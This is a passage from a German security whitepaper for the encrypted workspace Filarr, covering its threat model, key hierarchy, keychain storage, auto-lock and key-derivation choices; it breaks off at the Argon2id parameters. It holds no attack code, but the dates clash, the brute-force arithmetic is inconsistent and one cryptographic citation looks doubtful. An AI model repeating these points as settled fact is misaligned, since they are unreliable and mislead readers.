Filarr-Sicherheit, Schicht für Schicht – die vollständige Verteidigungsarchitektur

Filarr verschlüsselt alles mit AES-256-GCM, bevor es Ihr Gerät verlässt. Bedrohungsmodell, Kryptografie, Electron-Härtung und CVEs im Detail.

Mathis Belouar-Pruvot

· Gründer von Filarr · · 72 Min. Lesezeit

Kurze Antwort. Filarr schützt Ihre Daten mit AES-256-GCM: Jede Datei und jede Notiz wird unter dem Kontoschlüssel (FEK) verschlüsselt, mit einem neuen Zufallswert pro Datei. Der FEK wird von einem KEK geschützt, den PBKDF2-SHA-512 (600.000 Iterationen) aus Ihrem Passwort ableitet. Dazu kommen eine optionale TOTP-Zwei-Faktor-Authentifizierung und eine Zero-Knowledge-Cloud-Synchronisation, bei der die Server nur undurchsichtige verschlüsselte Blobs speichern. Electron ist mit allen Fuses, contextIsolation, Sandbox und einer strikten CSP gehärtet. Ein unabhängiges Audit ist geplant, aber noch nicht erfolgt.

Update v2.3.1 (18. April 2026): Dieser Artikel gibt den Stand des Codes nach dem vollständigen Sicherheitsaudit wieder, das mit v2.2.1 ausgeliefert wurde, nach der Krypto-Härtung in v2.2.2 (alle Electron-Fuses + HKDF bei der Kopplung) und nach dem Upgrade auf Electron 41 in v2.3.0, das 18 im 39er-Zweig angesammelte CVEs behoben hat.

Filarr ist ein verschlüsselter Local-First-Arbeitsbereich mit Zero-Knowledge-Cloud-Synchronisation. Praktisch heißt das: Ihre Daten verlassen Ihren Rechner nie im Klartext, auch nicht bei der Synchronisation mit der Cloud. Die Server von Filarr speichern nur undurchsichtige verschlüsselte Blobs, die sie nicht entschlüsseln können, und eine behördliche Anfrage oder eine gestohlene Kopie ihrer Daten liefert nichts Lesbares. Das ist kein Werbeslogan, sondern die Folge einer Architektur, in der Ihr Verschlüsselungsschlüssel Ihr Gerät nie verlässt, ohne vorher eingepackt worden zu sein – durch einen aus Ihrem Passwort abgeleiteten Schlüssel oder durch einen flüchtigen Kopplungsschlüssel. Die bekannte Grenze dieser Architektur steht in §2: Seit dem 16. Oktober 2026 meldet sich eine aktuelle App mit einem aus Ihrem Passwort abgeleiteten Schlüssel an. Während einer Übergangszeit von etwa zwei Monaten senden ein Konto, das sich seitdem noch nicht erneut angemeldet hat, oder eine ältere App-Version aber noch das Passwort selbst, und ein kompromittierter Server könnte es dabei abfangen.

Der folgende Artikel beschreibt jeden vorhandenen Sicherheitsmechanismus mit den genauen Parametern, den genauen Dateien, den genau behobenen CVEs, mit Vergleichen zu anderen Tools auf dem Markt und mit technischen Quellen (NIST, RFCs, OWASP, wissenschaftliche Arbeiten) für jede Entscheidung. Kein vages „Militärstandard“, kein künstlerisches Händewedeln: Wenn Sie den Code prüfen möchten, ist jede Entscheidung dokumentiert und nachvollziehbar.

Wenn Sie nur zehn Minuten haben, fasst der Abschnitt Zusammenfassung das Wesentliche zusammen. Ansonsten machen Sie es sich bequem – gestaffelte Verteidigung braucht eine Weile, bis sie ganz ausgepackt ist.

Inhaltsverzeichnis

  1. Bedrohungsmodell: gegen wen wir antreten, mit welchen Fähigkeiten
  2. Zero-Knowledge: was es wirklich bedeutet
  3. Die Schlüsselhierarchie: Passwort → KEK → FEK
  4. Argon2id und PBKDF2 – warum Filarr beide nutzt
  5. AES-256-GCM: Wahl, Stärken, tödliche Fallen
  6. Zwei-Faktor-Authentifizierung (2FA): TOTP, Backup-Codes, was sie wirklich schützt
  7. Kopplung mehrerer Geräte: ECDH und HKDF unter der Haube
  8. Electron-Härtung – eine App, drei Isolierungen
  9. Content Security Policy – was sie tatsächlich blockiert
  10. XSS-Bereinigung: DOMPurify und bekannte Fallen
  11. Anatomie einer Kill Chain: XSS → RCE (vor/nach v2.2.1)
  12. Lieferkette: Lehren aus event-stream, ua-parser-js, node-ipc
  13. CVE-Verlauf
  14. Vergleich mit anderen Tools
  15. Sicherheits-Roadmap
  16. Zusammenfassung
  17. Quellen und weiterführende Literatur

1. Bedrohungsmodell

Ein Bedrohungsmodell ist nur nützlich, wenn es ehrlich mit seinen Grenzen umgeht. „Filarr ist gegen alle Angreifer sicher“ zu verkünden, wäre eine Lüge durch Weglassen. Die eigentliche Frage lautet: Gegen welche Gegner verteidigt Filarr Sie, mit welchen Fähigkeiten, und ab welcher Schwelle brechen diese Verteidigungen? Dieser Abschnitt beantwortet diese drei Fragen ausdrücklich.

1.1 Was wir schützen wollen

Die zu schützende Fläche zerfällt in vier Kategorien. Die erste, offensichtliche, sind die Inhalte der Nutzer: Notizen, Dateien und die zugehörigen Metadaten – Ordnernamen, Tags, hierarchische Struktur, Änderungszeitpunkte. Die zweite ist die Gruppe der Verschlüsselungsschlüssel: der FEK (File Encryption Key), der alles andere verschlüsselt, der KEK (Key Encryption Key), der aus Ihrem Passwort abgeleitet wird, und die flüchtigen Schlüssel, die bei der Kopplung mehrerer Geräte entstehen. Die dritte ist die Integrität des Electron-Binärprogramms selbst: Wir wollen garantieren, dass kein Angreifer beliebigen Code im Filarr-Prozess ausführen kann, weder durch eingeschleuste Kommandozeilenargumente noch durch das Patchen der Datei app.asar auf der Festplatte noch durch eine kompromittierte npm-Abhängigkeit. Die vierte schließlich ist die Verfügbarkeit: Die App darf nicht als Vektor für einen Denial-of-Service missbraucht werden können (keine Erpressung per importierter ZIP-Bombe, kein reproduzierbarer Absturz durch feindselige Eingaben).

Diese vier Kategorien werden nicht gleich behandelt. Inhalte und Schlüssel genießen einen starken kryptografischen Schutz – ein Angreifer, der die verschlüsselten Blobs liest, kann damit nichts anfangen. Die Integrität des Binärprogramms beruht auf subtileren Mechanismen (Electron-Fuses, ASAR-Validierung, CSP), die in Abschnitt 8 beschrieben sind. Die Verfügbarkeit wird als klassisches Robustheitsziel behandelt: Größenobergrenzen, Tiefenlimits, strikte Validierung.

1.2 Welche Angreiferprofile berücksichtigt werden

Gestützt auf die Klassifikation STRIDE und das Framework MITRE ATT&CK unterscheiden wir sieben Angreiferprofile, jedes mit eigenen Fähigkeiten und eigenen Verteidigungen:

AngreiferFähigkeitenMITRE-TaktikHauptverteidigung
Kompromittierter Filarr-Server (RCE, Insider, behördliche Anfrage)Liest alle Blobs, fälscht API-AntwortenT1565 (Data Manipulation)Clientseitige Verschlüsselung – was er speichert, öffnet ohne Ihr Passwort nichts; Anmeldung per abgeleitetem Schlüssel seit dem 16. Oktober 2026, aber während der Übergangszeit senden ein noch nicht umgestelltes Konto oder eine ältere App-Version das Passwort, das ein kompromittierter Server abfangen könnte
Netzwerk-MitM (öffentliches Café, feindseliger Provider, staatlicher Akteur)Fängt Datenverkehr ab, fälscht TLS-AntwortenT1557 (Adversary-in-the-Middle)TLS 1.3 + HSTS + implizites Pinning (fester Endpunkt) + strikte Validierung per new URL()
Lokale Malware auf Nutzerebene (Trojaner in einer heruntergeladenen .exe)Liest das Home-Verzeichnis, beobachtet Laufzeiten, schleust Umgebungsvariablen einT1059 (Command and Scripting Interpreter), T1055 (Process Injection)Electron-Fuses (RunAsNode: false, EnableNodeOptionsEnvironmentVariable: false), zeitkonstante Vergleiche, IPC-Allowlist
XSS im Renderer (präparierte Notiz, feindseliger Obsidian-Import)Führt JS in der App mit Renderer-Rechten ausT1189 (Drive-by Compromise)contextIsolation: true, sandbox: true, strikte IPC-Allowlist, defensives DOMPurify mit erweitertem FORBID_TAGS
npm-Lieferkette (Abhängigkeit per Kontoübernahme manipuliert)Schleust Code in ein Paket ein, das wir ladenT1195.002 (Compromise Software Supply Chain)Vierteljährliches npm audit, restriktive CSP, Fuses, ASAR-Integritätsprüfung
Physischer Offline-Zugriff (gestohlener Laptop)Voller Festplattenzugriff ohne aktive SitzungT1005 (Data from Local System)FEK im Schlüsselbund des Betriebssystems versiegelt (DPAPI/Keychain/libsecret), der Modus Enhanced Lock löscht .fek_safe beim Schließen
Cloud-Anbieter (Cloudflare, R2)Liest alle Objekte im BucketT1530 (Data from Cloud Storage)Objekte clientseitig verschlüsselt – der FEK existiert auf R2 nie, nicht einmal vorübergehend

Jede Zeile entspricht einer eigenen Angriffsfläche mit einer eigenen Kette von Gegenmaßnahmen. Wir können uns gegen eine gestohlene Kopie der Serverdaten verteidigen (clientseitige Verschlüsselung), aber nicht gegen einen lokalen Root (der den Arbeitsspeicher auslesen kann); wir können XSS im Renderer blockieren (contextIsolation + Sandbox), aber nicht verhindern, dass jemand password123 wählt. Gestaffelte Verteidigung bedeutet, jede Zeile mit unabhängigen Schichten abzudecken, damit ein einzelner Bruch nicht alles kompromittiert.

1.3 Wogegen wir keinen Schutz versprechen

Aus intellektueller Redlichkeit liegen mehrere Angriffsklassen ausdrücklich außerhalb des Rahmens. Sie klar zu benennen, vermeidet Missverständnisse: Filarr ist für diese Fälle nicht gebaut, und wer ihnen ausgesetzt ist, sollte andere Werkzeuge verwenden.

Erstens kann ein Angreifer mit Root-, Administrator- oder SYSTEM-Rechten auf Ihrem Rechner alle softwareseitigen Verteidigungen umgehen. Er kann den Speicher des Filarr-Prozesses auslesen (und dabei den FEK im Klartext lesen, solange er im Arbeitsspeicher liegt), das Binärprogramm direkt patchen, um Prüfungen abzuschalten, oder einen Keylogger installieren, der Ihr Passwort abgreift, bevor Sie es überhaupt in die App eingeben. Keine Software im Nutzerbereich widersteht einem Angreifer, der dieselben Rechte wie das Betriebssystem hat: Die Verteidigung gehört auf die Ebene des Betriebssystems (Windows Defender unter Windows, SELinux/AppArmor unter Linux, XProtect und Gatekeeper unter macOS). Filarr gibt nicht vor, diese Schichten zu ersetzen.

Zweitens macht ein triviales Passwort jede Kryptografie nutzlos. Wenn Ihr Passwort password2024 lautet, rettet Sie keine Schlüsselableitung mit 600.000 Iterationen vor einem gezielten GPU-Brute-Force-Angriff. Mit 8 modernen RTX-4090-GPUs läuft SHA-512 mit etwa 20 Gigahashes pro Sekunde (Hashcat-Benchmarks 2024), genug, um ein Wörterbuch mit 10^10 gängigen Wörtern in wenigen Stunden durchzuprobieren. PBKDF2 multipliziert diese Zeit mit 600.000 und bringt den Angriff damit auf einige Wochen statt einiger Sekunden – für einen motivierten Gegner bei einem schwachen Passwort immer noch erreichbar. Das schwächste Glied sind Sie, nicht die Kryptografie.

Drittens ist Filarr nicht dafür gebaut, einem Nationalstaat mit Zugriff auf die Firmware zu widerstehen. Wenn Ihr Gegner ein Implantat im BIOS, in der Intel Management Engine oder in der Firmware der Festplatte platzieren kann, sind Sie verloren, ganz gleich, wie gut die Verschlüsselung auf Anwendungsebene ist. Für dieses Bedrohungsmodell – Journalisten unter autoritären Regimen, politische Dissidenten, Whistleblower – sind die passenden Werkzeuge Qubes OS für abgeschottete Isolierung, Tails für eine flüchtige, spurlose Nutzung und Signal für die Kommunikation. Filarr ist ein Produktivitätswerkzeug mit starker Verschlüsselung für datenschutzbewusste Durchschnittsnutzer, kein Werkzeug zum Umgehen staatlicher Überwachung.

Und schließlich, wahrscheinlich der wichtigste Punkt für normale Nutzer: Wenn Sie Ihr Passwort UND Ihre Wiederherstellungsphrase vergessen, sind Ihre Daten endgültig verloren. Das ist der unvermeidliche Preis von Zero-Knowledge. Es gibt kein verstecktes „Administratorpasswort“, mit dem ein Support-Team Sie retten könnte, denn wenn es existierte, gäbe es das auch für jeden, der Filarr kompromittiert. Diese Asymmetrie ist der Preis dafür, dass unsere Server immer nur Daten speichern, die sie nicht lesen können.

2. Zero-Knowledge

Der Begriff „Zero-Knowledge“ ist zu einem verwässerten Marketing-Schlagwort geworden, das seine Bedeutung verloren hat. In der formalen Kryptografie bezeichnet ein Zero-Knowledge-Beweis ein sehr genau definiertes Protokoll, bei dem ein Beweisender einen Prüfer von der Wahrheit einer Tatsache überzeugt, ohne sonst etwas preiszugeben. Die zk-SNARK-Protokolle von Zcash oder von Ethereum-Rollups sind Beispiele dafür. Filarr implementiert nichts dergleichen – etwas anderes zu behaupten, wäre ein Missbrauch des Begriffs.

Was Filarr implementiert, nennt man genauer Zero-Knowledge-Speicherung oder Ende-zu-Ende-Verschlüsselung im Ruhezustand, im Sinne von Bitwarden, Proton Drive, Tresorit oder 1Password: Der Server empfängt Daten, speichert sie und überträgt sie weiter, hält sie aber immer nur in einer Form, die er nicht entschlüsseln kann. Diese Eigenschaft wird nicht durch einen raffinierten kryptografischen Beweis gesichert, sondern durch eine strikte architektonische Invariante: Verschlüsselungsschlüssel gehen nie im Klartext über den Server.

Um dieses Versprechen greifbar zu machen, stellen Sie sich einen Filarr-Server vor, der die Notiz eines Nutzers mit dem Text „Ich bin David“ empfängt. Was der Server buchstäblich sieht, ist eine Bytefolge dieser Form:

[4 Bytes FEK-Markierung]
[12 Bytes zufällige Nonce]
2f 8a c3 d1 7e ... (Chiffretext ~98 Bytes)
[16 Bytes Authentifizierungs-Tag]

Diese Folge ist für jeden ohne den FEK nicht von einer Zufallsfolge gleicher Länge zu unterscheiden. Das ist eine formale Eigenschaft namens IND-CCA2 (Ununterscheidbarkeit unter adaptiven Chosen-Ciphertext-Angriffen), die Bellare und Namprempre 2008 für AES-GCM bewiesen haben. Anders gesagt: Selbst wenn ein Angreifer dem Server beliebige Chiffretexte vorlegen und die Antworten beobachten kann, kann er aus den Blobs keine Information über ihren Inhalt ableiten, außer seiner Größe, die GCM nicht verbirgt – weder die Sprache noch das Vorhandensein sich wiederholender Muster. Abgesehen von seiner Länge sagt der Chiffretext so viel aus wie ein Strom von Zufallsdaten.

Damit diese Eigenschaft gilt, zieht die Architektur eine absolute rote Linie: Der Server darf den FEK nie im Klartext berühren, zu keinem Zeitpunkt, in keiner Form. Diese Linie schlägt sich in mehreren praktischen Verboten nieder. Es GIBT eine serverseitig gespeicherte Kopie Ihres Hauptschlüssels – sie ist nötig, damit Sie sich auf einem neuen Gerät anmelden können, ohne es von Hand mit einem anderen, bereits entsperrten Gerät zu koppeln –, aber diese Kopie ist mit einem Schlüssel verschlüsselt, der per PBKDF2-SHA-512 mit 600.000 Iterationen aus Ihrem Passwort abgeleitet wird, und der Server speichert Ihr Passwort nie. Seit dem 16. Oktober 2026 sendet eine aktuelle App es nicht einmal mehr: Sie meldet sich mit einem Schlüssel an, der mit einem eigenen Salt aus dem Passwort abgeleitet wird und vom KEK verschieden ist, und der Server behält davon nur einen bcrypt-Hash. Eine zweite Kopie des Hauptschlüssels ist auf dieselbe Weise unter Ihrer Wiederherstellungsphrase aus 24 Wörtern eingepackt. Ohne dieses Passwort oder diese Phrase ist die verschlüsselte Kopie ein toter Blob: Eine gestohlene Kopie der Datenbank erlaubt es also nicht, Ihre Dateien zu entschlüsseln, und uns ebenso wenig, Ihr Konto wiederherzustellen, wenn Sie Ihr Passwort verlieren. Die Grenze ist die Übergangszeit: Etwa zwei Monate lang senden ein Konto, das sich noch nicht erneut angemeldet hat, oder eine ältere App-Version das Passwort bei der Anmeldung noch (über HTTPS, abgeglichen mit einem bcrypt-Hash), und ein veränderter oder kompromittierter Server könnte es dort abfangen und dann diese Kopie auspacken. Es ist dasselbe Modell wie der ProtectedSymmetricKey von Bitwarden und die verschlüsselten privaten Schlüssel von ProtonMail, deren Clients ebenfalls nicht das Passwort selbst senden, sondern nur einen daraus abgeleiteten Wert. In allen Fällen dient die serverseitige Kopie der Nutzung auf mehreren Geräten, nicht dem Umgehen der Kryptografie. Es gibt keinen „Administrator-Hauptschlüssel“, der im Bedarfsfall alle Konten entschlüsseln würde, denn ein solcher Schlüssel wäre sofort ein bevorzugtes Ziel für einen Angreifer, der den Server kompromittiert. Serverseitig findet keinerlei Schlüsselableitung statt, nicht einmal ein Zwischenschritt: Die gesamte kryptografische Kette vom Passwort bis zum FEK läuft im Browser oder im Electron-Hauptprozess ab. Und wenn der FEK schließlich per direkter Kopplung auf ein neues Gerät gelangen muss (beide Geräte nebeneinander, ohne Umweg über das Passwort), wird er mit einem flüchtigen Schlüssel verschlüsselt, der per ECDH zwischen den beiden Geräten abgeleitet wird und dessen private Teile der Server nie gesehen hat – er sieht nur einen bereits verschlüsselten Blob durchlaufen, den er nicht öffnen kann (siehe §7).

Diese architektonische Disziplin ist dieselbe wie bei Signal, 1Password, Bitwarden, ProtonMail und Tresorit. Sie funktioniert unter einer notwendigen Bedingung: Der Client-Code muss ehrlich sein. Würde der Client den FEK heimlich in einem eigenen HTTP-Header an den Server schicken, bräche die ganze Konstruktion zusammen. Genau deshalb zählt die Transparenz des Quellcodes, und deshalb ist der Ansatz „vertrauen, aber prüfen“ – der Code des Desktop-Clients ist öffentlich, die Mechanismen sind dokumentiert, ein externes Audit ist geplant – das Rückgrat des Vertrauens und nicht irgendein Marketingdiskurs.

3. Die Schlüsselhierarchie

Im Herzen von Filarr steht eine klassische, aber konsequent umgesetzte kryptografische Architektur auf zwei Ebenen: ein zufälliger Hauptschlüssel, der alle Nutzerdaten verschlüsselt, und ein aus dem Passwort abgeleiteter Schlüssel, der den Hauptschlüssel verschlüsselt. Diese Trennung ist kein Detail – sie ermöglicht mehrere wichtige Funktionen, die wir gleich beschreiben, und sie ist das Standardmuster aller ernstzunehmenden modernen Verschlüsselungswerkzeuge.

3.1 Der FEK, der Wurzelschlüssel für alle Inhalte

Der File Encryption Key, kurz FEK, ist ein symmetrischer 256-Bit-Schlüssel, der lokal erzeugt wird, wenn Sie zum ersten Mal ein Profil anlegen. Er entsteht durch einen Aufruf von crypto.getRandomValues(), der eine CSPRNG-Quelle (kryptografisch sicherer Pseudozufallszahlengenerator) in Betriebssystemqualität garantiert: Unter Windows ist das CryptGenRandom, gespeist von RtlGenRandom und modernen Hardware-Entropiequellen; unter Linux ist es /dev/urandom, gespeist von der seit dem Start gesammelten Kernel-Entropie; unter aktuellen macOS-Versionen ist es CCRandomGenerateBytes auf Basis des Fortuna-Generators des Systems. Die Qualität dieser Quelle ist grundlegend – ein vorhersagbarer FEK würde alles kompromittieren –, deshalb erzeugen wir ihn nie mit Math.random() oder anderen Funktionen, die nicht ausdrücklich kryptografisch sind.

Dieser eine 256-Bit-Schlüssel schützt ausnahmslos alle Nutzerinhalte: jede Datei einzeln (unter dem Kontoschlüssel (FEK) verschlüsselt, mit einem neuen Zufallswert pro Datei, damit nichts kollidiert; große, am Desktop importierte Dateien erhalten zusätzlich einen gesonderten Schlüssel, der per HKDF aus dem FEK abgeleitet wird), jede im Editor geschriebene Notiz, alle zugehörigen Metadaten – Ordnernamen, die hierarchische Struktur der Notizbücher, die Tags der Notizen, Erstellungs- und Änderungsdaten – und schließlich das Manifest der Cloud-Synchronisation, jene besondere Datei, die alle auf R2 vorhandenen Blobs mit ihren Kennungen und Versionen auflistet. Dieses Manifest ist selbst verschlüsselt, damit es dem Server nicht die Struktur Ihres Tresors verrät (selbst wenn wir die Dateiinhalte nicht sehen, wäre schon das Wissen, dass Sie genau 47 Notizen mit einem bestimmten Verknüpfungsgraphen haben, ein Informationsleck).

Die unverletzliche Regel rund um den FEK lautet: Er darf das Gerät nie im Klartext verlassen. Nicht in einer Fehlerprotokolldatei, nicht in der Nutzlast irgendeiner API-Anfrage, nicht in einer automatischen Sicherung bei einem Drittdienst, nicht in einer Fehlermeldung, die dem Nutzer angezeigt wird. Der FEK kann ein Gerät jedoch in zwei Situationen verlassen, jedes Mal in verschlüsselter Form. Bei der Cloud-Synchronisation verlässt er es eingepackt von Ihrem KEK (der seinerseits aus Ihrem Passwort abgeleitet ist) und von Ihrer Wiederherstellungsphrase – der Server speichert Ihr Passwort nie, eine Kopie seiner Daten kann ihn also nicht auspacken; die Übergangszeit bei der Anmeldung ist in §2 beschrieben. Bei der direkten Kopplung mehrerer Geräte wird er mit einem flüchtigen Schlüssel verschlüsselt, der per Diffie-Hellman zwischen den beiden beteiligten Geräten abgeleitet wird – einem Schlüssel, den weder der Filarr-Server noch irgendein Dritter rekonstruieren kann. Die Details des Protokolls stehen in Abschnitt 7.

3.2 Warum nicht direkt mit dem Passwort verschlüsseln?

Ein aufmerksamer Leser könnte fragen, warum man nicht einfach einen Schlüssel aus dem Passwort ableitet und die Dateien direkt damit verschlüsselt. Die Antwort passt in drei Worte: Bedienbarkeit beim Passwortwechsel. Würden wir die Dateien mit einem direkt aus dem Passwort abgeleiteten Schlüssel verschlüsseln, hieße ein Passwortwechsel, jede Datei mit dem neuen Schlüssel neu zu verschlüsseln. Bei einem Tresor von 50 GB mit 10.000 Dateien würde dieser Vorgang Stunden dauern, die Festplatte auslasten und bei jeder Unterbrechung scheitern – ein funktionaler Albtraum, der jeden davon abhalten würde, sein Passwort je zu ändern.

Das Standardmuster, das 1Password, Bitwarden, Keeper, LastPass, Signal und jedes ernstzunehmende Werkzeug verwenden, trennt deshalb zwei Schlüssel mit unterschiedlichen Rollen. Der KEK (Key Encryption Key) wird mit einer aufwendigen Schlüsselableitungsfunktion aus dem Passwort abgeleitet; er ändert sich mit jedem Passwortwechsel. Der FEK ist zufällig, wird einmal beim Anlegen des Profils erzeugt und vom KEK verschlüsselt („eingepackt“) in einer lokal gespeicherten Datei wrapped_fek.json abgelegt – und bei Cloud-Konten in genau dieser verschlüsselten Form serverseitig gespiegelt, damit Sie sich auf einem neuen Gerät ohne direkte Kopplung wieder anmelden können. Ein Passwortwechsel bedeutet also nur, einen neuen KEK abzuleiten, den FEK damit neu einzupacken, die neue wrapped_fek.json lokal zu schreiben und an den Server zu senden – ein Vorgang von Millisekunden, der keine einzige verschlüsselte Datei berührt.

Dieses Design bringt einen unerwarteten, aber wesentlichen Bonus: Es erlaubt, dass mehrere KEKs denselben FEK schützen. Genau das macht Filarr für die Datei mit dem Wiederherstellungsschlüssel, die es in den Einstellungen zusätzlich zur Wiederherstellungsphrase aus 24 Wörtern gibt: Wenn Sie Ihren Wiederherstellungsschlüssel exportieren, leiten wir einen alternativen KEK aus einem Passwort ab, das Sie eigens für diesen Export wählen (getrennt vom Hauptpasswort des Tresors), packen denselben FEK mit diesem alternativen KEK ein und speichern das Ergebnis in einer JSON-Datei, die Sie offline archivieren. Wenn Sie das Passwort Ihres Tresors verlieren, können Sie über diese Wiederherstellungsdatei wieder auf alle Ihre Daten zugreifen – vorausgesetzt natürlich, Sie haben nicht auch das Exportpasswort verloren.

3.3 Der entsperrte FEK im Schlüsselbund des Betriebssystems

Sobald Sie beim Start Ihr Passwort eingegeben haben, wird der KEK abgeleitet, der FEK ausgepackt, und der FEK liegt im Arbeitsspeicher. Das Passwort bei jedem Start erneut abzufragen, wäre im Alltag unerträglich – kein Nutzer nimmt das auf Dauer hin. Die Standardlösung, die moderne Desktop-Apps weithin übernommen haben, besteht darin, den entsperrten FEK im Schlüsselbund des Betriebssystems abzulegen, der den FEK mit einem aus Ihrer aktiven Benutzersitzung abgeleiteten Schlüssel verschlüsselt.

Unter Windows 10 und neuer verwenden wir die DPAPI (Data Protection API), die Electron als safeStorage.encryptString() bereitstellt. DPAPI verschlüsselt Daten mit einem Schlüssel, der aus einer Mischung aus dem Hash Ihrer Windows-Sitzung, maschinenspezifischer (nicht exportierbarer) Entropie und nutzerspezifischer Entropie abgeleitet wird. Ergebnis: Die verschlüsselte Datei ist von einem anderen Benutzerkonto auf demselben Rechner nicht lesbar, nicht lesbar, wenn sie auf einen anderen Rechner kopiert wird, und nicht lesbar, wenn Ihre Windows-Sitzung geschlossen ist.

Unter macOS klinkt sich dieselbe Electron-API in die Keychain Services ein. Der Systemschlüsselbund wird seinerseits durch Ihr Sitzungspasswort oder Touch ID entsperrt; sein Hauptschlüssel ist auf aktuellen Macs in der Secure Enclave versiegelt, was ihn selbst gegen einen Angreifer mit physischem Zugriff auf den Rechner widerstandsfähig macht.

Unter Linux läuft die Abstraktion über libsecret, das je nach Desktop-Umgebung auf gnome-keyring oder kwallet zurückgreifen kann. Der Schlüssel wird bei der Anmeldung abgeleitet, und der Daemon hält ihn bis zur Abmeldung im Arbeitsspeicher. Auf minimalen Distributionen ohne Schlüsselbund-Daemon kann die API „Verschlüsselung nicht verfügbar“ zurückgeben.

Die resultierende Datei namens .fek_safe, die im Filarr-Profilordner liegt, ist außerhalb einer aktiven Sitzung also selbst für Sie unlesbar. Zusätzlich setzen wir auf allen Plattformen die Unix-Berechtigungen 0o600 (Lesen und Schreiben nur für den Eigentümer), was auch den Zugriff durch andere nicht privilegierte Prozesse unter demselben Benutzer blockiert.

Mit v2.2.1 wurde eine wichtige Verhaltensänderung für den Fall eingeführt, dass der Schlüsselbund nicht verfügbar ist: Früher gab hybrid:storeFEK stillschweigend false zurück, ohne den FEK zu speichern. Dieses Design ließ einem künftigen Entwickler, der „Linux-Nutzern ohne Schlüsselbund das Leben leichter machen“ wollte, die Tür offen, versehentlich einen Klartext-Fallback einzubauen. Jetzt wirft der Aufruf einen ausdrücklichen Fehler, der beim Nutzer ankommt: „Schlüsselbund des Betriebssystems nicht verfügbar, Tresorpasswort bei jedem Start erforderlich“. Das ist für die Bedienung weniger angenehm, aber die richtige Wahl – kein impliziter Fallback, der eines Tages zu „wir schreiben den FEK im Klartext, damit es trotzdem funktioniert“ verkommen könnte. Das zugrunde liegende Prinzip ist Fail-Closed statt Fail-Open: Im Zweifel ablehnen, nicht improvisieren.

3.4 Enhanced Lock und automatische Sperre

Für Nutzer mit anspruchsvollerem Bedrohungsmodell bietet Filarr zwei sich ergänzende Mechanismen, die das Zeitfenster verkürzen, in dem der FEK im Speicher zugänglich ist.

Der Modus Enhanced Lock löscht, sobald er aktiviert ist, die Datei .fek_safe bei jedem Schließen der App. Konkret bleibt der FEK nicht mehr zwischen zwei Sitzungen erhalten: Jeder Start verlangt die erneute Eingabe des Tresorpassworts. Diesen Modus sollten Sie wählen, wenn Sie Ihren Rechner physisch mit anderen teilen, wenn Sie mit einem Laptop reisen, der bei einer Grenzkontrolle durchsucht werden könnte, oder einfach, wenn Sie die Mühe eines Passworts bei jedem Start für eine kleinere Angriffsfläche in Kauf nehmen.

Die automatische Sperre, einstellbar auf 5, 15, 30 oder 60 Minuten Inaktivität, greift während der Sitzung. Nach der gewählten Zeit ohne Nutzerinteraktion überschreibt Filarr den FEK im Speicher des Renderers (das Uint8Array wird mit Nullen gefüllt, die Referenzen werden entfernt), zeigt den Sperrbildschirm an und verlangt die Eingabe der PIN (oder je nach Einstellung des vollständigen Passworts). Ein Angreifer, der in Ihrer Kaffeepause an Ihren Rechner kommt, fände den FEK nicht mehr im Speicher des Electron-Prozesses – zumindest nicht in den JavaScript-Referenzen, die der Garbage Collector verwaltet.

Zu diesem letzten Punkt ist intellektuelle Redlichkeit Pflicht: In JavaScript hat „Speicher löschen“ nicht die strikte Garantie, die man in Rust oder C mit Funktionen wie memset_s bekommt. Die V8-Engine kann den FEK bei ihren internen Optimierungen (Inlining, Beförderung vom Young- in den Old-Space) bereits kopiert haben, und der Garbage Collector nullt diese Kopien nicht sofort. Für einen forensischen Gegner, der den Arbeitsspeicher in Echtzeit mit einem Werkzeug wie Volatility oder direkt per DMA-Angriff über Thunderbolt auslesen kann, bleibt ein Fenster, in dem sich Bruchstücke des FEK wiederherstellen lassen. Das ist eine Grenze der JavaScript-Laufzeit, keine Implementierungsentscheidung. Gegen klassische Malware auf Nutzerebene oder einen neugierigen Kollegen, der sich an Ihre Tastatur setzt, ist der Schutz wirksam.

4. Argon2id und PBKDF2

Die gesamte Sicherheit der Verschlüsselung im Ruhezustand hängt letztlich von der Qualität der Schlüsselableitungsfunktion (KDF) ab, die Ihr Passwort in einen kryptografischen Schlüssel verwandelt. Ein Passwort aus 10 Zeichen hat im besten Fall höchstens etwa 40 bis 50 Bit Entropie – bei Weitem nicht genug, um einem direkten Brute-Force-Angriff standzuhalten. Die Aufgabe der KDF ist es, jeden Ableitungsversuch so weit zu verlangsamen, dass Brute Force für einen Angreifer wirtschaftlich unerschwinglich wird, während die Wartezeit für den legitimen Nutzer, der einen Schlüssel pro Start ableitet, erträglich bleibt.

Filarr bringt zwei verschiedene KDFs für verschiedene Geheimnisse mit, und diese Entscheidung verdient eine Erklärung, weil sie überraschen kann.

4.1 Warum zwei KDFs?

Auf der Seite des Node.js-Hauptprozesses, wo alle nativen Bibliotheken verfügbar sind, steht Argon2id über das Paket node-argon2 zur Verfügung und schützt andere Geheimnisse als Ihr Tresorpasswort, etwa die PIN zum lokalen Entsperren. Argon2id ist 2026 die KDF der Wahl, Gewinner der Password Hashing Competition 2015 und 2021 durch RFC 9106 standardisiert.

Auf der Seite des Renderers (eingebetteter Chromium-Browser) haben wir keinen Zugriff auf Argon2. Der Grund ist unerfreulich, aber real: Die Web Crypto API der Browser unterstützt Argon2 auch 2026 noch nicht, trotz einer seit 2019 offenen Debatte beim W3C. Die aufeinanderfolgenden Vorschläge zur Aufnahme (CryptoKey.derivedKey mit "Argon2" als Algorithmusname) kamen nie durch, vor allem weil native Browser-Implementierungen als zu aufwendig für eine einheitliche Pflege galten. Der KEK, der Ihren FEK einpackt, wird deshalb mit PBKDF2-SHA-512 abgeleitet, einer akzeptablen modernen Alternative, im Renderer ebenso wie im Hauptprozess.

Diese Mischform ist nicht ideal – wir würden lieber überall Argon2id verwenden –, aber sie spiegelt die tatsächliche Einschränkung der Plattform wider. Die Alternative wäre, eine WASM-Implementierung von Argon2 zu kompilieren und im Renderer zu laden. Das brächte jedoch zusätzliche Ladezeit (~100–200 KB WASM), eine weitere Drittabhängigkeit, die gepflegt werden muss, und Schwierigkeiten bei der Integritätsprüfung des WASM-Binärprogramms. Wir halten die Mischlösung für den besseren Kompromiss, zumindest bis die Web Crypto API Argon2 standardisiert.

4.2 Argon2id-Parameter und warum diese Werte

Wenn wir Argon2id im Hauptprozess verwenden, lautet die Konfiguration:

const ARGON2_OPTIONS = {
  type: argon2.argon2id,
  memoryCost: 65536,    // 64 MB RAM pro Hash
  timeCost: 3,          // 3 Durchläufe
  parallelism: 4,       // 4 Threads
  hashLength: 32,       // 256-Bit-Ausgabe
};

